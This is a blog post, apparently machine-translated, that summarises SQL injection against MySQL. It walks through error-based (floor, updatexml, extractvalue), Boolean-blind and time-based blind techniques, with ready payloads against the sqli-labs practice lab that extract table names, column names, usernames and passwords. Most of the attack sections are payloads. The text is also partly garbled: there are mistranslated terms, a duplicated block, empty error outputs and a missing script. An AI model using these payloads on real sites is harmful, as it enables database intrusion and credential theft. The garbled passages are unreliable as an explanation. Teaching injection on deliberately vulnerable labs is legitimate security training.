Aquaboutic | Focus Security Research | Vulnerability Exploit | POC

Home

sql injection learning summary

Posted by ulberg at 2020-04-11
all

The so-called SQL injection is to insert the SQL command into the query string of web form submission or input domain name or page request, and finally to cheat the server to execute malicious SQL command.

Test database

In this paper, we use the following database as the test database to complete our injection analysis.

correlation function

Before learning blind annotation, you should first understand the functions involved in the SQL blind annotation and how to use them.

Mid () -- extract characters from text fields

SELECT MID(column_name,start[,length]) FROM table_name;

Column name is required. The field to extract the character.

Start is required. Specify the start position (the start value is 1).

Length is optional. The number of characters to return. If omitted, the mid() function returns the remaining text.

Limit() -- return the first or middle rows of data

select * from table limit m,n;

Its m is the beginning of the record index0 is the beginning of the record n is the beginning of the M + 1 n

concat、concat_ws、group_concat

When the concat function of MySQL connects strings, as long as one of them is null, it will return null

Unlike concat, the concat? WS function does not return null because of a null value when it is executed

Group concat ([DISTINCT] field to connect [Order BY ASC/DESC sort field] [Separator 'separator'])

Count() -- aggregate function, count the number of primitives

Rand () -- used to generate a random number of 0 ~ 1

Floor() -- round down

Group by --- group the results according to the rules we want

Length () -- returns the length of the string

Substr() -- three parameters of intercepting string (the string to be intercepted, the position to be intercepted, and the length to be intercepted)

Ascii() -- ASCII code of return string

Error injection

Based on floor, updatexml (with length limit, the longest 32 bits), and extractvalue (with length limit, the longest 32 bits), error is injected.

Floor reported wrong

Get database

mysql> select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;

Get table name

mysql> select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

Get field name

mysql> select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

Get content

mysql> select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name; mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~users'

Get field

mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~user'

Get content

mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);

ERROR 1105 (HY000): XPATH syntax error:

ERROR 1105 (HY000): XPATH syntax error:

Extractvalue error

Get table name

mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));

ERROR 1105 (HY000): XPATH syntax error:

ERROR 1105 (HY000): XPATH syntax error:

Get field

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error:

mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));

ERROR 1105 (HY000): XPATH syntax error:

ERROR 1105 (HY000): XPATH syntax error:

Get field

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error:

ERROR 1105 (HY000): XPATH syntax error:

Based on Boolean blind annotation

By constructing SQL statements, we can guess the data by judging whether the statements are executed successfully.

View table name

mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;

Get the first character of the table name

mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m; mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;

Getting the field name is the same as getting the field content.

Taking sqli labs less8 as an example, no matter what is input, there are only right and wrong, so we can judge blind annotation based on Boolean.

Determine the length of the current database first

http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

It is found that when the value is 8, the page does not display. So the length of database () is 8

Get database name

You can use the following script to guess the database name:

Get table length

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

It is found that when the value is 6, the page does not display. So the length of the table is 6

Get table name

Similar to the above, just change the payload to the following:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23

Get column names

payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23" payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23" payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"

Blind injection based on time

Based on the principle that when the database is queried, if the query conditions do not exist, the statement execution time is 0. But often the statement execution speed is very fast, the thread information flashes, and the execution time is basically 0. But if the condition of the query statement does not exist, the execution time is 0. Using this function as a special property, we can use the time delay to determine whether our query exists. This is how SQL blind injection works based on time delay

First understand the following statement:

if(database()=’security’,1,2)

Judge whether the database name is security, return 1 correctly and 2 wrongly. Time based injection is similar to Boolean based injection, and if statement is introduced for judgment.

mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;

1 row in set (0.00 sec)

mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m; http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+

Get database name by dichotomy

The remaining steps are similar to those based on Boolean, except that an if judgment statement is added for judgment.

Get table name:

payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"

Get column name:

payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"

Get content:

payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"